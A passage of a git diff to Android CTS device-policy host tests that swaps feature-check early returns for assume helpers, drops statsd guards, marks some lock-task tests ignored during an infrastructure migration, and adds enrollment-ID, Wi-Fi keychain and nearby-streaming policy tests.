         installAppAsUser(METERED_DATA_APP_APK, mUserId);
 
         try (LocationModeSetter locationModeSetter = new LocationModeSetter(getDevice())) {
@@ -1077,9 +959,6 @@
 
     @Test
     public void testPackageInstallUserRestrictions() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         boolean mIsWatch = hasDeviceFeature("android.hardware.type.watch");
         if (mIsWatch) {
             return;
@@ -1128,9 +1007,6 @@
 
     @Test
     public void testAudioRestriction() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // This package may need to toggle zen mode for this test, so allow it to do so.
         allowNotificationPolicyAccess(DEVICE_ADMIN_PKG, mUserId);
         try {
@@ -1142,9 +1018,6 @@
 
     @Test
     public void testDisallowAdjustVolumeMutedLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest",
                     "testDisallowAdjustVolumeMutedLogged");
@@ -1159,25 +1032,20 @@
     }
 
     @FlakyTest(bugId = 132226089)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     @Test
     public void testLockTask() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         try {
             installAppAsUser(INTENT_RECEIVER_APK, mUserId);
             executeDeviceTestClass(".LockTaskTest");
-            if (isStatsdEnabled(getDevice())) {
-                assertMetricsLogged(
-                        getDevice(),
-                        () -> executeDeviceTestMethod(".LockTaskTest", "testStartLockTask"),
-                        new DevicePolicyEventWrapper.Builder(
-                                EventId.SET_LOCKTASK_MODE_ENABLED_VALUE)
-                                .setAdminPackageName(DEVICE_ADMIN_PKG)
-                                .setBoolean(true)
-                                .setStrings(DEVICE_ADMIN_PKG)
-                                .build());
-            }
+            assertMetricsLogged(
+                    getDevice(),
+                    () -> executeDeviceTestMethod(".LockTaskTest", "testStartLockTask"),
+                    new DevicePolicyEventWrapper.Builder(EventId.SET_LOCKTASK_MODE_ENABLED_VALUE)
+                            .setAdminPackageName(DEVICE_ADMIN_PKG)
+                            .setBoolean(true)
+                            .setStrings(DEVICE_ADMIN_PKG)
+                            .build());
         } catch (AssertionError ex) {
             // STOPSHIP(b/32771855), remove this once we fixed the bug.
             executeShellCommand("dumpsys activity activities");
@@ -1192,10 +1060,6 @@
     @LargeTest
     @Test
     public void testLockTaskAfterReboot() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             // Just start kiosk mode
             executeDeviceTestMethod(
@@ -1214,11 +1078,8 @@
 
     @LargeTest
     @Test
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             // Just start kiosk mode
             executeDeviceTestMethod(
@@ -1245,10 +1106,10 @@
     }
 
     @Test
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     public void testLockTask_defaultDialer() throws Exception {
-        if (!mHasFeature || !mHasTelephony || !mHasConnectionService) {
-            return;
-        }
+        assumeHasTelephonyAndConnectionServiceFeatures();
+
         try {
             executeDeviceTestMethod(".LockTaskHostDrivenTest",
                     "testLockTaskCanLaunchDefaultDialer");
@@ -1259,9 +1120,8 @@
 
     @Test
     public void testLockTask_emergencyDialer() throws Exception {
-        if (!mHasFeature || !mHasTelephony) {
-            return;
-        }
+        assumeHasTelephonyFeature();
+
         try {
             executeDeviceTestMethod(".LockTaskHostDrivenTest",
                     "testLockTaskCanLaunchEmergencyDialer");
@@ -1272,9 +1132,6 @@
 
     @Test
     public void testLockTask_exitIfNoLongerAllowed() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         try {
             executeDeviceTestMethod(".LockTaskHostDrivenTest",
                     "testLockTaskIsExitedIfNotAllowed");
@@ -1286,15 +1143,13 @@
     @FlakyTest(bugId = 141314026)
     @Test
     public void testSuspendPackage() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
+        CLog.i("runTestSuspendPackage() on user %d", mUserId);
+
         installAppAsUser(INTENT_SENDER_APK, mUserId);
         installAppAsUser(INTENT_RECEIVER_APK, mUserId);
         assertMetricsLogged(getDevice(), () -> {
             // Suspend a testing package.
-            executeDeviceTestMethod(".SuspendPackageTest",
-                    "testSetPackagesSuspended");
+            executeDeviceTestMethod(".SuspendPackageTest", "testSetPackagesSuspended");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_PACKAGES_SUSPENDED_VALUE)
                     .setAdminPackageName(DEVICE_ADMIN_PKG)
                     .setStrings(INTENT_RECEIVER_PKG)
@@ -1315,9 +1170,8 @@
     @FlakyTest(bugId = 141314026)
     @Test
     public void testSuspendPackageWithPackageManager() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
+        CLog.i("runTestSuspendPackageWithPackageManager() on user %d", mUserId);
+
         installAppAsUser(INTENT_SENDER_APK, mUserId);
         installAppAsUser(INTENT_RECEIVER_APK, mUserId);
         // Suspend a testing package with the PackageManager
@@ -1335,19 +1189,18 @@
 
     @Test
     public void testTrustAgentInfo() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         executeDeviceTestClass(".TrustAgentInfoTest");
     }
 
     @FlakyTest(bugId = 141161038)
     @Test
     public void testCannotRemoveUserIfRestrictionSet() throws Exception {
-        // Outside of the primary user, setting DISALLOW_REMOVE_USER would not work.
-        if (!mHasFeature || !canCreateAdditionalUsers(1) || mUserId != getPrimaryUser()) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
+        assumeTrue("Outside of the primary user, setting DISALLOW_REMOVE_USER would not work",
+                mUserId == getPrimaryUser());
+
         final int userId = createUser();
         try {
             changeUserRestrictionOrFail(DISALLOW_REMOVE_USER, true, mUserId);
@@ -1360,9 +1213,6 @@
 
     @Test
     public void testCannotEnableOrDisableDeviceOwnerOrProfileOwner() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Try to disable a component in device owner/ profile owner.
         String result = disableComponentOrPackage(
                 mUserId, DEVICE_ADMIN_PKG + "/.SetPolicyActivity");
@@ -1386,25 +1236,18 @@
 
     @Test
     public void testRequiredStrongAuthTimeout() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         executeDeviceTestClass(".RequiredStrongAuthTimeoutTest");
     }
 
     @Test
     public void testCreateAdminSupportIntent() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestClass(".PolicyTransparencyTest");
     }
 
     @Test
     public void testSetCameraDisabledLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".PolicyTransparencyTest", "testCameraDisabled");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_CAMERA_DISABLED_VALUE)
@@ -1422,18 +1265,16 @@
     /** Test for resetPassword for all devices. */
     @Test
     public void testResetPasswordDeprecated() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         executeDeviceTestMethod(".ResetPasswordTest", "testResetPasswordDeprecated");
     }
 
     @LockSettingsTest
     @Test
     public void testResetPasswordWithToken() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         // If ResetPasswordWithTokenTest for managed profile is executed before device owner and
         // primary user profile owner tests, password reset token would have been disabled for
         // the primary user, so executing ResetPasswordWithTokenTest on user 0 would fail. We allow
@@ -1446,18 +1287,11 @@
 
     @Test
     public void testPasswordSufficientInitially() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestClass(".PasswordSufficientInitiallyTest");
     }
 
     @Test
     public void testPasswordRequirementsApi() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         executeDeviceTestMethod(".PasswordRequirementsTest",
                 "testSettingConstraintsWithLowQualityThrowsOnRPlus");
         executeDeviceTestMethod(".PasswordRequirementsTest",
@@ -1468,9 +1302,8 @@
 
     @Test
     public void testGetCurrentFailedPasswordAttempts() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         final String wrongPassword = TEST_PASSWORD + "5";
 
         changeUserCredential(TEST_PASSWORD, null /*oldCredential*/, mUserId);
@@ -1500,17 +1333,15 @@
 
     @Test
     public void testPasswordExpiration() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         executeDeviceTestClass(".PasswordExpirationTest");
     }
 
     @Test
     public void testGetPasswordExpiration() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         executeDeviceTestMethod(".GetPasswordExpirationTest",
                 "testGetPasswordExpiration");
         try {
@@ -1528,18 +1359,13 @@
 
     @Test
     public void testPasswordQualityWithoutSecureLockScreen() throws Exception {
-        if (!mHasFeature || mHasSecureLockScreen) {
-            return;
-        }
+        assumeDoesNotHaveSecureLockScreenFeature();
 
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UnavailableSecureLockScreenTest", mUserId);
     }
 
     @Test
     public void testSetSystemSetting() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestClass(".SetSystemSettingTest");
     }
 
@@ -1550,9 +1376,6 @@
 
     @Test
     public void testClearApplicationData_testPkg() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(INTENT_RECEIVER_APK, mUserId);
         runDeviceTestsAsUser(INTENT_RECEIVER_PKG, INTENT_RECEIVER_PKG + ".ClearApplicationDataTest",
                 "testWriteToSharedPreference", mUserId);
@@ -1563,9 +1386,6 @@
 
     @Test
     public void testClearApplicationData_deviceProvisioning() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Clearing data of device configuration app should fail
         executeDeviceTestMethod(".ClearApplicationDataTest",
                 "testClearApplicationData_deviceProvisioning");
@@ -1573,9 +1393,6 @@
 
     @Test
     public void testClearApplicationData_activeAdmin() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Clearing data of active admin should fail
         executeDeviceTestMethod(".ClearApplicationDataTest",
                 "testClearApplicationData_activeAdmin");
@@ -1583,9 +1400,8 @@
 
     @Test
     public void testPrintingPolicy() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature("android.software.print")) {
-            return;
-        }
+        assumeHasPrintFeature();
+
         installAppAsUser(PRINTING_APP_APK, mUserId);
         executeDeviceTestClass(".PrintingPolicyTest");
     }
@@ -1596,37 +1412,30 @@
 
     @Test
     public void testKeyManagement() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
+        installAppAsUser(SHARED_UID_APP1_APK, mUserId);
+        installAppAsUser(SHARED_UID_APP2_APK, mUserId);
 
         executeDeviceTestClass(".KeyManagementTest");
     }
 
     @Test
     public void testInstallKeyPairLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
-
         assertMetricsLogged(getDevice(), () -> {
                 executeDeviceTestMethod(".KeyManagementTest", "testCanInstallCertChain");
                 }, new DevicePolicyEventWrapper.Builder(EventId.INSTALL_KEY_PAIR_VALUE)
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
+                .setStrings("notCredentialManagementApp")
                 .build(),
                 new DevicePolicyEventWrapper.Builder(EventId.REMOVE_KEY_PAIR_VALUE)
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
+                .setStrings("notCredentialManagementApp")
                 .build());
     }
 
     @Test
     public void testGenerateKeyPairLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
-
         assertMetricsLogged(getDevice(), () -> {
                 executeDeviceTestMethod(
                         ".KeyManagementTest", "testCanGenerateKeyPairWithKeyAttestation");
@@ -1634,90 +1443,72 @@
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
                 .setInt(0)
-                .setStrings("RSA")
+                .setStrings("RSA", "notCredentialManagementApp")
                 .build(),
                 new DevicePolicyEventWrapper.Builder(EventId.GENERATE_KEY_PAIR_VALUE)
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
                 .setInt(0)
-                .setStrings("EC")
+                .setStrings("EC", "notCredentialManagementApp")
                 .build());
 
     }
 
     @Test
     public void testSetKeyPairCertificateLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
-
         assertMetricsLogged(getDevice(), () -> {
                 executeDeviceTestMethod(".KeyManagementTest", "testCanSetKeyPairCert");
                 }, new DevicePolicyEventWrapper.Builder(EventId.SET_KEY_PAIR_CERTIFICATE_VALUE)
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
+                .setStrings("notCredentialManagementApp")
                 .build());
     }
 
     @Test
     public void testPermittedAccessibilityServices() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         executeDeviceTestClass(".AccessibilityServicesTest");
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".AccessibilityServicesTest",
-                        "testPermittedAccessibilityServices");
-            }, new DevicePolicyEventWrapper
-                    .Builder(EventId.SET_PERMITTED_ACCESSIBILITY_SERVICES_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings((String[]) null)
-                    .build(),
-            new DevicePolicyEventWrapper
-                    .Builder(EventId.SET_PERMITTED_ACCESSIBILITY_SERVICES_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings((String[]) null)
-                    .build(),
-            new DevicePolicyEventWrapper
-                    .Builder(EventId.SET_PERMITTED_ACCESSIBILITY_SERVICES_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings("com.google.pkg.one", "com.google.pkg.two")
-                    .build());
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".AccessibilityServicesTest",
+                    "testPermittedAccessibilityServices");
+        }, new DevicePolicyEventWrapper
+                .Builder(EventId.SET_PERMITTED_ACCESSIBILITY_SERVICES_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setStrings((String[]) null)
+                .build(),
+        new DevicePolicyEventWrapper
+                .Builder(EventId.SET_PERMITTED_ACCESSIBILITY_SERVICES_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setStrings((String[]) null)
+                .build(),
+        new DevicePolicyEventWrapper
+                .Builder(EventId.SET_PERMITTED_ACCESSIBILITY_SERVICES_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setStrings("com.google.pkg.one", "com.google.pkg.two")
+                .build());
     }
 
     @Test
     public void testPermittedInputMethods() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        executeDeviceTestClass(".InputMethodsTest");
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".InputMethodsTest", "testPermittedInputMethods");
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings((String[]) null)
-                    .build(),
-            new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings((String[]) null)
-                    .build(),
-            new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings("com.google.pkg.one", "com.google.pkg.two")
-                    .build());
-        }
+        executeDeviceTestMethod(".InputMethodsTest", "testPermittedInputMethodsThrowsIfWrongAdmin");
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".InputMethodsTest", "testPermittedInputMethods");
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setStrings(NOT_CALLED_FROM_PARENT, new String[0])
+                .build(),
+        new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setStrings(NOT_CALLED_FROM_PARENT, new String[0])
+                .build(),
+        new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setStrings(NOT_CALLED_FROM_PARENT, "com.google.pkg.one", "com.google.pkg.two")
+                .build());
     }
 
     @Test
     public void testSetStorageEncryption() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         Map<String, String> params =
                 ImmutableMap.of(IS_PRIMARY_USER_PARAM, String.valueOf(mUserId == mPrimaryUserId));
         runDeviceTestsAsUser(
@@ -1726,10 +1517,6 @@
 
     @Test
     public void testPasswordMethodsLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
-
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_QUALITY_VALUE)
@@ -1764,14 +1551,16 @@
             new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_MINIMUM_SYMBOLS_VALUE)
                     .setAdminPackageName(DEVICE_ADMIN_PKG)
                     .setInt(19)
-                    .build());
+                    .build(),
+                new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_COMPLEXITY_VALUE)
+                        .setAdminPackageName(DEVICE_ADMIN_PKG)
+                        .setInt(0x50000)
+                        .setBoolean(false)
+                        .build());
     }
 
     @Test
     public void testLockNowLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testLockNowLogged");
         }, new DevicePolicyEventWrapper.Builder(EventId.LOCK_NOW_VALUE)
@@ -1782,9 +1571,6 @@
 
     @Test
     public void testSetKeyguardDisabledFeaturesLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(
                     ".DevicePolicyLoggingTest", "testSetKeyguardDisabledFeaturesLogged");
@@ -1812,9 +1598,6 @@
 
     @Test
     public void testSetKeyguardDisabledSecureCameraLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(
                     ".DevicePolicyLoggingTest", "testSetKeyguardDisabledSecureCameraLogged");
@@ -1827,18 +1610,12 @@
 
     @Test
     public void testSetKeyguardDisabledFeatures() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestMethod(".KeyguardDisabledFeaturesTest",
                 "testSetKeyguardDisabledFeatures");
     }
 
     @Test
     public void testSetUserRestrictionLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(
                     ".DevicePolicyLoggingTest", "testSetUserRestrictionLogged");
@@ -1871,9 +1648,6 @@
 
     @Test
     public void testSetSecureSettingLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(
                     ".DevicePolicyLoggingTest", "testSetSecureSettingLogged");
@@ -1898,9 +1672,6 @@
 
     @Test
     public void testSetPermissionPolicyLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(
                     ".DevicePolicyLoggingTest", "testSetPermissionPolicyLogged");
@@ -1923,9 +1694,6 @@
 
     @Test
     public void testSetPermissionGrantStateLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         installAppPermissionAppAsUser();
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(
@@ -1952,9 +1720,6 @@
 
     @Test
     public void testSetAutoTimeRequired() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testSetAutoTimeRequired");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_AUTO_TIME_REQUIRED_VALUE)
@@ -1969,9 +1734,6 @@
 
     @Test
     public void testSetAutoTimeEnabled() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testSetAutoTimeEnabled");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_AUTO_TIME_VALUE)
@@ -1986,9 +1748,6 @@
 
     @Test
     public void testSetAutoTimeZoneEnabled() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
                     executeDeviceTestMethod(".TimeManagementTest", "testSetAutoTimeZoneEnabled");
                 }, new DevicePolicyEventWrapper.Builder(EventId.SET_AUTO_TIME_ZONE_VALUE)
@@ -2003,9 +1762,6 @@
 
     @Test
     public void testEnableSystemAppLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         final List<String> enabledSystemPackageNames = getEnabledSystemPackageNames();
         // We enable an enabled package to not worry about restoring the state.
         final String systemPackageToEnable = enabledSystemPackageNames.get(0);
@@ -2023,9 +1779,6 @@
 
     @Test
     public void testEnableSystemAppWithIntentLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         final String systemPackageToEnable = getLaunchableSystemPackage();
         if (systemPackageToEnable == null) {
             return;
@@ -2044,9 +1797,6 @@
 
     @Test
     public void testSetUninstallBlockedLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         installAppAsUser(PERMISSIONS_APP_APK, mUserId);
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest",
@@ -2060,10 +1810,6 @@
 
     @Test
     public void testIsDeviceOrganizationOwnedWithManagedProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         executeDeviceTestMethod(".DeviceOwnershipTest",
                 "testCallingIsOrganizationOwnedWithManagedProfileExpectingFalse");
     }
@@ -2071,9 +1817,6 @@
     @LockSettingsTest
     @Test
     public void testSecondaryLockscreen() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestClass(".SecondaryLockscreenTest");
     }
 
@@ -2099,6 +1842,97 @@
                 .collect(Collectors.toList());
     }
 
+    @Test
+    public void testEnrollmentSpecificIdCorrectCalculation() throws Exception {
+
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".EnrollmentSpecificIdTest",
+                "testCorrectCalculationOfEsid", mUserId);
+    }
+
+    @Test
+    public void testEnrollmentSpecificIdCorrectCalculationLogged() throws Exception {
+        boolean isManagedProfile = (mPrimaryUserId != mUserId);
+
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".EnrollmentSpecificIdTest",
+                    "testCorrectCalculationOfEsid");
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_ORGANIZATION_ID_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setBoolean(isManagedProfile)
+                .build());
+    }
+
+    @Test
+    public void testEnrollmentSpecificIdEmptyAndMultipleSet() throws DeviceNotAvailableException {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".EnrollmentSpecificIdTest",
+                "testThrowsForEmptyOrganizationId", mUserId);
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".EnrollmentSpecificIdTest",
+                "testThrowsWhenTryingToReSetOrganizationId", mUserId);
+    }
+
+    @Test
+    public void testAdminControlOverSensorPermissionGrantsDefault() throws Exception {
+        // By default, admin should not be able to grant sensors-related permissions.
+        executeDeviceTestMethod(".SensorPermissionGrantTest",
+                "testAdminCannotGrantSensorsPermission");
+    }
+
+    @Test
+    public void testAddNetworkWithKeychainKey_granted() throws Exception {
+        assumeHasWifiFeature();
+
+        executeDeviceTestMethod(".WifiTest", "testAddNetworkWithKeychainKey_granted");
+    }
+
+    @Test
+    public void testAddNetworkSuggestionWithKeychainKey_granted() throws Exception {
+        assumeHasWifiFeature();
+
+        executeDeviceTestMethod(".WifiTest", "testAddNetworkSuggestionWithKeychainKey_granted");
+    }
+
+    @Test
+    public void testAddNetworkSuggestionWithKeychainKey_notGranted() throws Exception {
+        assumeHasWifiFeature();
+
+        executeDeviceTestMethod(".WifiTest", "testAddNetworkSuggestionWithKeychainKey_notGranted");
+    }
+
+    @Test
+    public void testAddNetworkWithKeychainKey_notGranted() throws Exception {
+        assumeHasWifiFeature();
+
+        executeDeviceTestMethod(".WifiTest", "testAddNetworkWithKeychainKey_notGranted");
+    }
+
+    // TODO(b/184175078): Migrate test to Bedstead when the infra is ready.
+    @Test
+    public void testGetNearbyNotificationStreamingPolicy() throws Exception {
+        executeDeviceTestMethod(
+                ".NearbyNotificationStreamingPolicyTest",
+                "testGetNearbyNotificationStreamingPolicy");
+    }
+
+    // TODO(b/184175078): Migrate test to Bedstead when the infra is ready.
+    @Test
+    public void testSetNearbyNotificationStreamingPolicy() throws Exception {
+        executeDeviceTestMethod(
+                ".NearbyNotificationStreamingPolicyTest",
+                "testSetNearbyNotificationStreamingPolicy");
+    }
+
+    // TODO(b/184175078): Migrate test to Bedstead when the infra is ready.
+    @Test
+    public void testGetNearbyAppStreamingPolicy() throws Exception {
+        executeDeviceTestMethod(".NearbyAppStreamingPolicyTest", "testGetNearbyAppStreamingPolicy");
+    }
+
+    // TODO(b/184175078): Migrate test to Bedstead when the infra is ready.
+    @Test
+    public void testSetNearbyAppStreamingPolicy() throws Exception {
+        executeDeviceTestMethod(".NearbyAppStreamingPolicyTest", "testSetNearbyAppStreamingPolicy");
+    }
+
     /**
      * Executes a test class on device. Prior to running, turn off background data usage
      * restrictions, and restore the original restrictions after the test.
@@ -2130,8 +1964,7 @@
     }
 
     private void executeSuspendPackageTestMethod(String testName) throws Exception {
-        runDeviceTestsAsUser(INTENT_SENDER_PKG, ".SuspendPackageTest",
-                testName, mUserId);
+        runDeviceTestsAsUser(INTENT_SENDER_PKG, ".SuspendPackageTest", testName, mUserId);
     }
 
     private void executeAccountTest(String testName) throws DeviceNotAvailableException {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java
index 7a43fb3..4422d6b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java
@@ -16,8 +16,6 @@
 
 package com.android.cts.devicepolicy;
 
-import android.platform.test.annotations.FlakyTest;
-
 import org.junit.Test;
 
 /**
@@ -40,42 +38,33 @@
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
-            getDevice().uninstallPackage(TEST_APP_PKG);
+        getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+        getDevice().uninstallPackage(TEST_APP_PKG);
 
-            // Clear device lock in case test fails (testUnlockFbe in particular)
-            getDevice().executeShellCommand("cmd lock_settings clear --old 12345");
-            // Press the HOME key to close any alart dialog that may be shown.
-            getDevice().executeShellCommand("input keyevent 3");
-        }
+        // Clear device lock in case test fails (testUnlockFbe in particular)
+        getDevice().executeShellCommand("cmd lock_settings clear --old 12345");
+        // Press the HOME key to close any alart dialog that may be shown.
+        getDevice().executeShellCommand("input keyevent 3");
+
         super.tearDown();
     }
 
     @Test
     public void testPermissionGrantPreMApp() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SIMPLE_PRE_M_APP_APK, mUserId);
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantStateAppPreMDeviceAdminPreQ");
+        executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState_preMApp_preQDeviceAdmin");
     }
 
     @Test
     public void testPasswordRequirementsApi() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         executeDeviceTestMethod(".PasswordRequirementsTest",
                 "testPasswordConstraintsDoesntThrowAndPreservesValuesPreR");
     }
 
     @Test
     public void testResetPasswordDeprecated() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         executeDeviceTestMethod(".ResetPasswordTest", "testResetPasswordDeprecated");
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi30.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi30.java
new file mode 100644
index 0000000..7cbda79
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi30.java
@@ -0,0 +1,52 @@
+/*
